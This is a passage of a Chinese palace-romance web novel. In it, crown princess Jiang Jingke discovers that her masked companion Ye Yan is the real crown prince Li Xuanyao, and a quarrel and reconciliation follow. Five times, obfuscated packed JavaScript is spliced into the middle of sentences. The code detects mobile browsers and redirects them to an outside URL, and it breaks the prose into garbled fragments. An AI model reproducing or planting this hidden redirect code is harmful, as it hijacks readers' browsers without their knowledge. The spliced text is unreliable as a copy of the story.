但这里干爽无霉味,除了淡淡的龙涎香外,还有书卷笔墨的香气。 江箐珂甚感诧异。 只听说过帝王会在宫里建个逃生密道,没想到东宫里竟也有这种地方。 提着灯打量四周的墙壁和摆设的物件,看得出来,这密室有些年头了。 历代夺储之争残酷,许是以前的某位太子故意给自己建了条生路。 “穆侧妃?” 江箐珂提着灯笼照着四周。 没有回应,也不见人影。 她只能继续找。 找着找着,又找到一个建在拐角暗处的石阶。 顺着石阶而上,来到一个石门前。 借着微弱的灯火,江箐珂摸到机关按下。 厚重的石门拉着沉闷的声响,在她眼前缓缓开启。 明耀的灯火一点点地从门缝里泻进,九龙戏珠的薄纱屏风也随之在她的眸眼里逐渐变得完整。 江箐珂当即认出了此处。 李玄尧的书房,她的禁足之地。 怔愣了一瞬,江箐珂抬步欲入。 不料,一股剑气拉着劲风突然从旁侧袭来。 江箐珂身子后仰,眼睁睁看着剑刃从她的鼻尖下擦过。 剑身轻颤嗡鸣,正要转向朝江箐珂再次反刺时,剑尖突然调转,瞬间收了势。 对方提着剑,愣在那处,错愕而不知所措地看着江箐珂。 是侍卫谷俊。 缓了一瞬,谷俊立马下跪请罪,后怕得面色惨白。 “请太子妃恕罪。” 四道身影急匆匆地绕过屏风,出现在江箐珂的眼前。 其中,有一人的步子最是急促慌乱,冲在四人的最前方。 目光相撞的那一刻,江箐珂看着那双异瞳,脑子里瞬间空白一片。 夜颜疾步走到她的身前,仔细确认她身上是否有受伤。 江箐珂则是一脸懵地看向另外三个人。 李玄尧,穆汐,还有曹公公。 而穆汐就站在李玄尧的身后,歪着头,正目光得意地看着她笑。 目光冷冷回收,视线重新落在李玄尧的脸上。 眼睛眨了眨,江箐珂抬头看向身前的夜颜。 他捧着她的脸,亦是茫然不知所措地看着她。 异瞳之下,是与李玄尧近似无二的面孔。 江箐珂抬手揉了揉眼睛。 她觉得一定是自己眼花了,看错了。 不然,怎么会有两个李玄尧出现在这里? 可怎么看,夜颜都是李玄尧的那张脸。 对了。 江箐珂想起了雪地里的八哥儿。 她立马放下手中的宫灯,抬手抚摸夜颜的脸。 “夜颜……” “你怎么也易容成殿下的样子了?” “你一个皇子,也要当影子吗?” “还是说八哥儿受伤了,需要你替他?” 江箐珂的手不停地在夜颜的脸上鼓弄,或揉,或掐,或搓,时而还会试探地抠一下。 好好的一张脸硬是被她弄得红了一大片。 然而,无论她怎么弄,在夜颜的这张脸都找不到任何的破绽和易容的痕迹,仿若李玄尧的那副面孔是他天生就带的。 江箐珂想不明白。 只觉得周遭都在此刻坍塌。 她听不到任何声音,也看不到任何人,眼里只有这双异瞳和酷似李玄尧的面孔。 眉眼对,唇形也对,下颌轮廓也对。 什么都对,就是她之前看到的模样。 明明是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051092|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的夜颜,可怎么摘了面纱,就长成了李玄尧? 江箐珂脑子里混乱一片。 她真的想不明白,这到底是怎么回事儿? 为何会有两个李玄尧? “夜颜,为什么你跟李玄尧长得一模一样?” 明明没想哭的,可不知为何泪水就像断了线的珠子,啪嗒啪嗒地掉个不停。 她长这么大,除了母亲和二哥去世时这么哭过,这么多年,父亲再怎么偏心、罚她,她都没哭过。 夜颜同她手语解释,可江箐珂此时根本没有心思去看,也看不清。 泪水模糊了视线,也模糊了他的脸。 她只有在这个时候,才觉得夜颜是她的。 江箐珂转头看向李玄尧,心中浮现另一种可能。 她流着泪,摇头笑着喃喃。 “不可能。” “简直荒唐无比。” 欲要求证,江箐珂推开夜颜,又到李玄尧的身前。 李玄尧看了一眼夜颜后,似是得到准许,当着江箐珂的面儿,将那贴得天衣无缝的假面撕了下来。 清冷仍是那般的清冷,孤傲也仍是那般的孤傲。 一身矜贵威凛之气,仍如初见时那般,极具上位者的压迫感。 唯独那张脸,换了模子。 是一张与穆元雄和穆汐有六分像的脸。 答案再明显不过。 一瞬间,脑子里冒出数不清的疑问,还有莫大的荒唐感。 脑子被一个个问题搅成浆糊,江箐珂捂着额头,突然感到头疼难忍。 众人退下,书房里仅剩江箐珂与夜颜二人。 夜颜走过来抱她,却**箐珂用力推开。 “所以……” 她摇头退着步子,看着夜颜无语到失笑。 泪水顺着眼角无声滑落,江箐珂仰头质问。 “我该叫你什么?” “太子殿下,对吗?” 夜颜很想解释什么,不停地跟她打着手语,急得嗓子发出几声晦涩暗哑的声音。 然而,江箐珂学的那点手语,根本不够用。 她根本就看不懂夜颜在同她解释什么。 又或者说,她此时心乱如麻,根本没有耐心去看他解释什么。 夜颜则急得去拿炭笔和折册子。 可他要解释的话太多,每个字又那么多的比画。 不等他写下完整的一句话,江箐珂打掉了夜颜手中的炭笔,抬手重重地扇了他一巴掌,根本不给想给他解释的机会。 第94章 对账 愤怒如火在江箐珂眼中烧得正烈,而无人在意的那盏流苏宫灯,仍静静地躺在密道的石门前。 她压着泪意,冷笑质问。 “把人当傻子骗来骗去,太子殿下……” 四个字她咬得较重,嘲讽意味极轻。 “一定觉得很有趣吧?” 无力又哀伤的视线从地上的折册子收回。 喉结滚动,李玄尧看着江箐珂摇头。 一个哑巴连解释的能力都没有,像被封了嘴的囚犯,只能等着对方宣判。 本想等一切都准备好,时机成熟,亲口告诉她真相。 却没想到这一天,来得如此突然。 心中兵荒马乱,不知该从何解释。 两人沉默无言,唯有四目相对。 在眼神中愧疚哀求,在眼神中斥责怨恨。 江箐珂无话可说,同样也不知该从何问起。 此时此刻,思绪混乱无章,只想一个人好好静一静。 她转身要走,李玄尧抓住她的手腕挽留。 “最好放开我。” “因为我现在其实……很想**。” 江箐珂背对着他一字一句,语气冷得跟后花园冰封的莲池似的。 二人又无声僵持了片刻,李玄尧松手,做出了妥协。 江箐珂走出书房,李玄尧就穿着那件单薄的衣袍,无声地紧跟其后。 “别跟着我。” 江箐珂的声音没有起伏,没有感情,周身都散发着平静的死感。 寒风凛冽,却比不过心头的冷。 宫灯与夜色交织,光影流转间,在回凤鸾轩的路上拉出两道长长的身影。 李玄尧仍踱步相随,与江箐珂保持着不远不近的距离。 “我说了,别跟着我。” 她再次扬声警告。 可回应给江箐珂的仍是那窸窣的脚步声。 怒火压到了极限,江箐珂转身就朝李玄尧甩了一鞭子过去。 他没躲。 鞭子不偏不倚地抽打在他的身上。 倒刺穿透衣料,刺入皮肤,在回鞭时勾扯下一道皮肉来。 血珠从伤口迸出,迅速浸染了那身月白色长袍。 幽暗夜色下,一条深色的斜痕逐渐变得醒目无比。 李玄尧面色无变,不怒也不恼地瞧着她,似乎不知痛似的。 见他停下了步子,江箐珂提着鞭子继续走。 步子轻踱,李玄尧又继续跟着。 就这样…… 她停,他也停。 她走,他也走。 江箐珂下狠,抽了一鞭又一鞭。 李玄尧一步不躲,咬牙隐忍,也挨了一鞭又一鞭。 胸前的血痕杂**错,好好的月白色衣袍此时血色斑驳。 两名暗卫看不下眼,分别从高高的飞檐上翻身跃下,落脚在李玄尧的身前,欲要替他挨上几鞭。 双手分别搭在两名暗卫的肩头上,李玄尧将两人向旁侧拨开,继续跟着江箐珂,直到凤鸾轩的殿门前。 “哐”的一声,殿门紧闭,无情地将李玄尧关在了殿外。 假的。 都是假的。 人是假的,说话的话也是假的,连情都是假的。 愤怒发泄得还不够,江箐珂进了寝殿后,看到什么摔什么。 这虚情假意充斥的东宫,所有的一切都看得让人作呕。 管它是什么价值连城的宝贝。 管它是哪个贵妃、哪个傻鳖送的。 花瓶摔了。 茶器扔了。 屏风剪了。 李玄尧的玉制棋盘也砸了。 纸墨笔砚也全碎了。 花样繁复的眼罩也烧了。 九重纱幔也扯了 …… 统统都不要了。 这日子,她江箐珂就是不想过了。 一番折腾作闹后,好好的寝殿如同被龙卷风席卷了一般,狼藉一片。 愤怒释放殆尽,江箐珂精疲力尽。 她摊躺在床榻上,睁着眼,目光放空地盯着一处。 世界很安静,她的情绪也在慢慢归于平静。 而脑子里混乱的思绪,也开始一条一条地清晰起来。 夜颜是太子李玄尧,“李玄尧”是穆珩,穆汐是夜颜的侧妃,还有一个徐才人、张良娣。 可为何要从一开始就骗她? 只因为他是个不详之人,又是个不能说话的哑巴? 殿门适时吱呀而开,李玄尧在门前踟蹰了片刻,最终还是带着一身寒气走了进来,并在杂乱的矮榻上寻了一处坐下。 江箐珂瞧都没瞧他一眼,兀自躺在床上发呆。 她将嫁入东宫以后的事,能想起来的,都在脑子里过了一遍。 想到一处,她腾地坐起。 擦去眼角气出的泪意,江箐珂翻身下床,然后气势汹汹地冲到李玄尧的面前质问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053316|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“成婚大典那日,与我行礼之人,是你,还是穆珩?” 李玄尧指了指自己的眼睛,摇头。 意思再明显不过。 “混蛋!” 斥骂出口时,“啪”的一下,江箐珂又抡了李玄尧的一巴掌。 她用了十分的力,打得那冷白的侧脸上登时就红了一片。 可她的掌心也同样在痛。 李玄尧偏着头,眸眼低垂,面色依然平静无波。 江箐珂转身回去,躺了没多久,又冲下床,跑到李玄尧面前质问。 “那大婚洞房那晚,为何没有同我喝合卺酒?” 李玄尧担心江箐珂看不懂手语,从地上捡起折了一半的炭笔,和被撕掉一半的折册子。 笔尖勾画迅速,宛若在写草书。 怕江箐珂没耐心等,他每写一句,便将册子主动举给江箐珂看。 【喝合卺酒,势必要先掀盖头。】 【怕你看到真的我,会被吓到。】 【也怕东宫的秘密会暴露。】 【毕竟,你我那时尚不了解彼此。】 【我不能冒险。】 江箐珂双手叉腰,严声厉色地又问:“那穆侧妃被抬入东宫的那晚,你一身酒气来了凤鸾轩,可是同她喝了合卺酒?” 李玄尧摇头。 低头又快速提笔写字。 他仍是写一行,给她看一行。 【与你都未做过的事,怎会与他人做。】 【纳穆汐为侧妃,并非我本意。】 【实则是母后在世时与先生的承诺,且也是父皇之意。】 【穆家于我有救命之恩,该给的体面总是要给的。】 【酒确实是与穆汐同饮,但并未交颈而饮。】 “没交颈,那也是喝了。” “忽悠谁呢。” “凭什么能跟她喝,就不能跟我喝?” 江箐珂将折册子从李玄尧手中抽出,“啪”的一下,砸在了他的脸上。 “骗子!” 李玄尧仍是没有半点脾气。 他右手握拳,神情愧疚地在左胸口打了两个圈,用他拙劣的方式说着“抱歉”。 江箐珂不睬她,又气冲冲地躺回了榻上。 可过了半晌,又想起一件恼火又扎心的事来。 双手抱胸,下巴尖微仰,江箐珂端着高姿态,垂眸冷眼睥睨着李玄尧。 “你跟穆汐睡了几次?” 第95章 长痛不如短痛 李玄尧蹙眉,目光急切地摇头。 手语回应。 【一次都没有。】 江箐珂急扯白脸地回呛。 “穆汐入宫为侧第二日,东宫的嬷嬷都说落红了,还一次没有?” “说!你是不是半夜趁我入睡,又去睡的她?” 【落红是假。】 李玄尧捡起册子匆忙写下解释。 【她还有守宫砂。】 江箐珂半眯眸眼,仍是没好气地道:“青梅竹马这么多年,还有婚约。说!你们拉过几次手,亲过几次嘴?” 笔如走蛇,迅速写下答复。 【儿时玩耍牵过手,算吗?】 “......” 江箐珂梗了下脖子,心里的那股气也跟着梗塞了一下。 “有病啊,当然说长大。” 【出于男女之情的牵手,自是没有。】 “嘴呢,亲过吗?” 【手都未牵过,何来的亲吻?】 【同你做的亲密之事,都是初次。】 江箐珂冷冷地嗔笑了一声,讥讽道:“骗子说的话,也能信?” 【既然不信,为何还问?】 【该如何回答,你才愿意信?】 “......” 还好意思贫嘴? 给脸了是不是。 江箐珂美眸圆睁,咬着后槽牙凶道:“是不是欠抽?信不信我把你屁股抽开花了?大不了拉着江家九族给你陪葬。” 撕掉写得满满的一页,夜颜再次起笔。 【只要你能解气,任打任骂任抽。】 他举着册子上的字,面色从容,眼神诚恳。 江箐珂又继续翻旧账。 “我刚来东宫不久,有一晚,你曾被曹公公突然叫走,之后多日未来凤鸾轩,可也是因为穆汐?” 李玄尧诚实点头。 【她割手腕,以死相挟,让我陪她几夜。】 江箐珂继而又问:“你们是青梅竹马,穆汐既然对你情深义重,你就没动过心思?” 李玄尧摇头,紧忙提笔解释。 【母后当年生下我,担心异瞳之事会暴露,被惠贵妃等人利用,便偷偷将我藏在了穆府,将比我晚数日出生的穆珩抱入了宫中。】 【五岁之前,都是在穆府同穆汐一起长大,偶尔入宫,后来又以伴读身份入宫与母后团聚。】 【穆汐于我来说,与李鸢无异。】 这点江箐珂倒是能理解。 她与江止虽无血缘关系,可自小一起长大,打打闹闹,也是兄妹情意深。 但是...... 江箐珂还是火大。 她咬牙切齿,质问的声调都比先才又高了好几分。 “所以,你不还是为了穆汐,两次撇下我走了?” 李玄尧不置可否。 他想了想,提笔反问。 【那江止受伤,你可会撇下我去看他?】 “......” 江箐珂拳头紧攥,一时语塞,不知该如何反驳。 因为阿兄若是受伤,她肯定跑得比李玄尧还要快。 但是...... 李玄尧还是欠踹。 她抬起腿,用力踹了李玄尧小腿一脚。 “那哪能一样?” “你那是侧妃,是你的妾室,我那是阿兄,我的亲人。” 江箐珂口沫横飞地高声吼道:“女人和亲人,哪有可比性!烂人!” 回到榻上躺着又寻思了一会儿,江箐珂坐起身来,隔着半个寝殿质问李玄尧。 “徐才人肚子里的孩子,该不会是你的吧?” 李玄尧起身。 一边走,一边快速写下解释。 待到榻边,一页草书已写完。 草是草了点,但是勉强能看出个数。 【孩子是穆珩的。】 【两人本有婚约,且情投意合。】 【只可惜几年前穆家生变,徐家便退了这桩婚事。】 【而今年,徐才人也已到出嫁的年纪,徐家急着为她定亲,穆珩自是等不得。】 【你又不肯同房为我正名,我和穆珩一经商量,便索性暂时将她纳入宫中。】 这都什么乱七八糟的。 江箐珂闭眼冷静,沉了口气后,又问:“那以后怎么办?” “再怎么说,那徐才人名义上也是你东宫太子的才人,生了孩子,以后自是要冠李家的姓氏。” 【我和穆珩自有打算。】 李玄尧十分自觉,提笔顺带着把张良娣的事也交代了。 【张良娣也绝没碰过。】 【她父亲是吏部侍郎,父皇选她入东宫为良娣,本也是为我拉拢势力。】 【只可惜张良娣的兄长与十皇子私下来往极甚。】 江箐珂听明白了。 “所以,张良娣是惠贵妃的人?” 李玄尧颔首,手语比了个绝杀的手势。 【早晚要除掉。】 “除掉有何用?” 见李玄尧在床榻边坐下,江箐珂旋即起身下床,同他保持着距离。 “除了一个张良娣,以后还会有**娣,**娣......” “有哪个皇帝不是三宫六院的?” 提到皇帝这二字,江箐珂顿了顿,又想起一茬来。 “异瞳也就算了,你一个哑巴,以后怎么当皇帝?” “皇命天授,你就算有我江家军权做后盾,也不是被世人所能接受的。” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055143|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄尧的眼底登时多了几分倔强和不甘。 他写字反驳。 【哑人又如何?】 【哑人便不能治国安邦?】 【既有人让我成为哑人无缘帝位,我偏要坐上那把龙椅,光明正大地给他们看。】 【君之为政,当以德为先,民为本,法为纲,才为器,兵为固。】 【又有哪一句是说以言以声为首的?】 【难不成,跛足无膝之人,便不能挥军百万,决胜千里,写下兵书几卷?】 【女子之身,便不能披甲上阵,统率三军,保家卫民?】 【世之成规与偏见,皆人为所立。】 【旧念不破,安得新道行于天下?】 “文绉绉的。” 江箐珂皱着眉头看完,差点以为又见到西延书堂的夫子了。 她愤愤将册子扔回给李玄尧。 “行行行,你会说,你有理!” “得回是个哑巴,不然得用吐沫星子喷死我。” 月白色的衣袍前胸已经彻底被血色染红,李玄尧却像没事儿人似的,朝着江箐珂伸出手来,求她过去,求她原谅。 被欺瞒了这么久,火气岂会轻易消了。 江箐珂剜了他一眼,转身又朝矮榻而去。 她气冲冲走了几步,步子又顿在半路。 江箐珂面颊微仰,身心疲惫地站在那里闭上了双眼。 想要问的破事太多太多。 多到她现在一个都不想问。 可有一件事,江箐珂还是想问一句。 背对着李玄尧,她漠声道:“穆汐的寝殿密道连着你的书房,你们岂不是想见面便可以随时见面?” 浓浓酸涩之意在胸口弥漫,喉间如同咽了碎瓷,有种锐利之物划割的刺痛。 江箐珂堪堪压下冲到鼻腔的泪意,讥笑道:“如此私密的事情,只有你们几个知道。” “而我每日被你们合伙蒙在鼓里,像个傻子似的。” 她长叹了一口气,怅然道:“是啊,我就是个外人。” 身后脚步声临近。 江箐珂转过身去,退着步子,不断拉开她与李玄尧的距离。 她神色平静,语气也平静。 “李玄尧,我虽不知到底什么样算是喜欢一个人。” “但我知道我肯定是在意你的。” “而我这个人心眼儿太小,越是在意,就越喜欢挑三拣四的。” “可惜你是李玄尧,我受不了以后有好多女人围着你。” “左右江箐瑶就要嫁给白隐了,她比我得父亲宠爱,到时江家军一样可以为东宫所有。” “长痛不如短痛。” “不若,你放我走吧。” 第96章 怪物 怎么打,怎么骂,都无所谓。 但一句“放我走吧”,却触碰了李玄尧的底线。 锋锐的眸眼噙着两色的愤怒,眼尾也漫上两抹浅红来。 适才的温柔、乖顺、卑微和万千愧疚,都被这平静无比的一句话,给炸得瞬间荡尽。 狼就是狼,虎就是虎。 纵使有摇尾乞怜之时,终究是难去**。 李玄尧亦是如此。 上位者的孤傲和不容违抗的威严,是他与生俱来的,是镌刻在骨血里的。 八哥儿也好,穆珩也罢,作为影子,他们言谈举止、神色气场,也皆出自于李玄尧。 李玄尧直勾勾地凝视着江箐珂,面色沉冷地踱着步子,朝她一点点逼近。 直到将她逼至殿内的梁柱,把江箐珂圈到他高大的身影之内。 他居高临下,无声启唇。 用口型告诉江箐珂两个字:休,想! 江箐珂欲要将他推开,却被李玄尧用身体死死抵在梁柱之间。 不容她抗拒推搡,也无需多言,大手捧起她的脸,李玄尧肩背微弓,俯首,鼻峰错开,带着那极具侵略性的亲吻堪堪压下。 肆意如斯,强势如他。 他不能说话,便只能用这种霸道又直接的方式告诉江箐珂。 他在意她,喜欢她,想永永久久地占有她,休想从他身边逃走。 这是从她接受赐婚圣旨那时起,便定下了的心意。 唇齿在两瓣温软上疯狂肆虐碾磨,失去理智的亲吻让人几乎要窒息。 而江箐珂的怒骂,也都被堵成了细碎且含糊不轻的哼唧。 她挣扎得越用力,李玄尧吻得便越强劲。 他在用自己的方式来告诉江箐珂,也告诉自己,她是他的,休想摆脱他这个说不了话的哑巴,长着两色眼睛的怪物。 江箐珂不愿碰他。 他就握着她的手,带她抚摸自己的面庞。 江箐珂抡他巴掌。 他就一下下受着,然后用力捏她的腰、揉她胸。 江琴珂下狠口咬他的舌头、唇瓣,他便也以牙还牙。 甜腥的血气混着那些说不清道不明的情愫、委屈、愧疚、愤怒和汹涌如潮的感情,在两人唇齿间漫延交织,直到怀里的人慢慢乖顺下来。 人是乖顺下来了,可江箐珂却哭得厉害。 除了在床上,李玄尧并不想看到她为别事哭。 泪水如珠从眼角滑落,却像是下刀子似地扎在他心上。 额头顶着额头,唇与唇在湿烫的气息间若即若离。 李玄尧大口喘着粗气,克制着体内的欲。 指腹拭去她唇角的血色,大手一抹,转而又擦去她脸上的泪痕。 可江箐珂的眼泪却是擦不完地流,最后只能将她紧紧抱在怀里。 李玄尧竭尽全力想要唤他一声小满,然后告诉她乖乖的,不要哭。 可那一字一句,到了喉间,都化作细碎晦涩的低哑呢喃,支离破碎,难以成声。 唯有不断缩紧的臂弯,传递着他所有的情绪和想说的话。 李玄尧从未这么恨自己是个不能说话的哑巴。 是他错了。 或许就不该惦念着她,把她娶到东宫。 他的筹谋规划里也不该有她。 正在李玄尧自责无奈时,却被暧昧的触碰碰散了所有自责的思绪。 江箐珂紧握着他情动之下的张扬。 抽了抽鼻子,她冷声威胁。 “我想静一静,所以请你滚出去,不然,我掰断你称帝的根基。” 本就难忍,偏偏她突然来这招,简直是要人命。 头埋在江箐珂的肩头,平复了片刻后,李玄尧选择妥协。 ...... 不知是不是心情使然,今夜的梧桐苑,那冷冷清清的调性淡了许多。 炭火烧得猩红,偶尔噼啪爆出点火星子,听起来甚是心静且悦耳。 袅袅青烟从镂空香炉盖里溢出,如丝如绸,缭绕四散。 红黄白紫竞争艳,淡雅清香笑靥开。 香炉里点的正是今夜新换的香料——小苍兰。 穆汐的心情久违地好。 妆奁前,铜镜里,她手执玉梳,一下下梳理着及腰青丝,那蹙了不知多久的眉头也终于舒展开来。 穆珩坐在茶桌前,目光幽幽地瞧了她半晌,沉声开口。 “是你故意引太子妃去的书房?” 穆汐没有回应,只是照着镜子,勾唇得意浅笑。 穆珩又言:“妹妹这么做,只会让殿下更加疏远你,断了自己的前程。” 就像没听到似的,穆汐开始取头上的簪子、步摇和金钗,好像完全不再在意李玄尧是否会疏远她。 穆珩也不管她有没有在听,起身走到穆汐身后,与铜镜里的她对视着。 “不是当兄长的不护着你,此次之事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058686|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你做得不对。” “殿下本是要寻个合适的时机,日后同太子妃坦白身份的。” “你千不该万不该,剥夺殿下坦诚相待的机会。” “很多时候,一件事,从你这里得知,和从殿下那里亲耳听到,完全是两码事、两种心情。” 穆珩严声厉色地质问道:“你如此作闹,对东宫又能有什么好处?” 最后一枚簪子取下,穆汐转身站起,面向穆珩。 她慢条斯理地打着手语,眼里有种不可一世的清高。 【兄长一句两句,都是在为殿下鸣不平,为东宫说话,为太子妃说话,可有好好关心我这个妹妹?】 【我不想再等,更看不得他们继续你侬我侬。】 【兄长可知,我现在多后悔,后悔当初答应你和父亲的劝说,让殿下娶江家女为太子妃。】 【那本该是我的位置。】 穆珩目光锐利如鹰,与穆汐目光对峙,端的仍是太子之姿。 “你太过心急。” “待殿下登基,大局稳固,皇后之位,父亲自会慢慢为你筹谋。” “难道从小父亲所教,你都忘了吗?” “既嫁入帝王之家,善妒便是大忌。” “你心胸如此狭窄,又沉不住气,眼里仅有情爱之事,日后又如何能统管六宫?” 目光偏移,穆汐懒懒地看向别处,唇角勾起一线讥讽的弧度。 再看向穆珩时,她登时换了个阴冷的眼神。 双手慢慢比划。 【兄长是不是当太子当得太久了,都忘了自己姓什么?】 【妹妹提醒你一句。】 【你姓穆,不姓李。】 【妹妹现在可是太子侧妃,而兄长不过是殿下的影子。】 【无权如此同我说话。】 “啪”的一声脆响,穆珩的掌心重重落在穆汐的脸上。 “你真的是疯了。” 穆汐咬着唇,失语地笑了笑。 泛红的眼流着泪,她看着穆珩用力点头。 【是啊,我是疯了。】 【我就是个没人要没人爱,又不能生孩子,还进过教坊司的......】 【疯子!】 穆珩怔怔望着眼前的女子,仿若第一次认识妹妹一般,神情里尽是错愕与难以置信。 “你跟父亲一样偏执,偏执得像个怪物。” 话落,他甩袍而去。 “好自为之。” 第97章 一定可以 寒夜如墨。 偌大的皇宫肃穆岑寂,宛若一个沉睡中的巨兽,伏卧在苍穹之下,有种摄人的磅礴气势。 离开凤鸾轩后,李玄尧径直朝梧桐苑而去。 他步履急促,怒火化成脚下的风,鼓动着衣袍在他身后翻飞。 曹公公见到李玄尧这个架势,声都不敢吱一下。 他手捧拂尘,碎步跑着,就那样紧紧地跟在后面。 中途寻机,又将一件玄色斗篷披在李玄尧的身上,顺带用帽子盖住了头。 宫里眼线多,如今又是多事之秋,且得谨慎着。 穆汐似是知晓李玄尧会来兴师问罪。 梧桐苑内,烛火通明。 而她则安安静静地坐在案桌前抄经练字。 进了寝殿,李玄尧径直走到桌前,揪着穆汐的衣襟,一把将她从座椅上拽起,一双异瞳阴冷森寒地瞪着她。 穆汐却是冲他莞尔一笑,踱步绕过桌子,欲要往李玄尧的怀里钻。 李玄尧将她推开,同她打着手语。 不同于他面对江箐珂时的那种慌乱和焦急,他的每个手势都打得稳而有力,将那说不出来、喊不出来的愤怒和斥责,都倾注在每一个手势之间。 【从今日起,你我多年兄妹情意,一笔勾销。】 穆汐双眼湿红,一脸无辜地看着李玄尧。 [她早晚要知道的,不如早些知道。] [你担心这,担心那,迟迟下不了决心。] [我帮你一把,有何不对?] [如今,你也无须每晚都去哄她、陪她,遮遮掩掩,辛苦掩藏身份了,不是吗?] 李玄尧眉头紧锁,额头青筋凸起。 【何时让她知晓,那是我的事。】 红唇微微颤动,穆汐仰头与李玄尧对视,那早已噙满泪水的双眼,轻轻一眨,泪水就簌簌而落。 她神情委屈又娇弱朝李玄尧挪近一步。 [我知错了,这次是我不好,想得不周到,一时糊涂做错了事] [你原谅我好不好?] 纤白的手指小心翼翼地抓住李玄尧的袍袖,轻轻地晃了几下。 穆汐流着泪,可怜兮兮地望着李玄尧,继续打着手语。 [我也是太在意你才会如此。] [嫁入东宫这么久,你每晚都要去凤鸾轩陪她。] [可从小到大,你都是陪我的。] [陪我吃饭,陪我**字,陪我玩耍,陪我弹琴煮茶,下棋读书。] [可自从她来了,你就再也不陪我了。] [我很生气,很难过,所以一时心急才会如此。] 李玄尧默默地看着她,脸上的愤怒依旧。 穆汐欲要牵他的手,李玄尧却无情地拨开。 一双异瞳半垂地睥睨着穆汐,面色威冷如寒冰。 【我再强调一遍。】 【从未对你有过一丝半点的男女情谊,只把你当妹妹。】 【若非母后当年同先生许诺,又有父皇下旨,以此回报穆家恩情,你我断不该这般不清不楚。】 【我欠你们穆家的,所以愿意给你想要的名分和地位,给穆家百年不衰的荣华与富贵,除此之外,再无其他。】 【是你执意要入东宫,现在又要怪谁,扮什么可怜。】 【如今,两条路。】 【要么安分守己留下,要么换个身份离开。】 最后一个手势打完后,李玄尧没有半点留恋地推门而去。 出门后,李玄尧便同曹公公手语吩咐。 【将穆侧妃降为良媛,明日命她搬离梧桐苑。】 【另外,梧桐苑的密道门......】 【堵上。】 曹公公躬身领命:“奴才遵命。” ...... 穆珩进到屋子里时,徐才人在看到那张脸,瞬间一愣。 待回过神后,她立马起身迎了上去。 “珩哥哥。” 她压着声音,又担心又疑惑地问:“你怎么这个样子回来了,不怕被人看见?” 穆珩默而未言。 他一把将徐才人揽入怀里,甚感疲倦地将头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063458|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭在她的头顶。 “今日身子可有不适?” “不怎么想吐了,胃口也比前些日子好了许多,不过还是会犯困。” 徐才人的声音软软糯糯的,不急不躁,听了总会让人莫名心静,也让穆珩能从那些纷杂的现实中短暂抽离。 他轻抚徐才人的肚子,柔声笑道:“小家伙终于不折腾娘亲了。” 徐才人笑了笑,挽着穆珩到美人榻前坐下。 “可是出什么事了?” “珩哥哥若是不说,我自己又要瞎琢磨了。” 穆珩大致将事情同徐才人讲了一遍,然后叮嘱道:“以后,穆汐让你做什么,切莫再听她的。” “上次玉容膏一事,殿下是看在我的面子上,才没有问责于你。” “以后,可就不好说了。” 徐才人很是乖巧地用力点头。 “舒儿都听珩哥哥的。” 穆珩凑到她的脸庞,宠溺地吻了下她的额头。 徐才人转而又道:“不过,穆汐也是可怜人,倾慕殿下多年......” 似是不想再谈及穆汐的事,穆珩打断了徐才人的话。 “还是先可怜我们自己吧。” 徐才人撅了撅小嘴,低头抚着肚子,点头道:“也是。也不知我们的孩子出生时,能不能姓穆。” 穆珩轻轻拍了下徐才人的肩背,和声安慰。 “再等等。” “皇上的身子怕是挨不了多久了。” 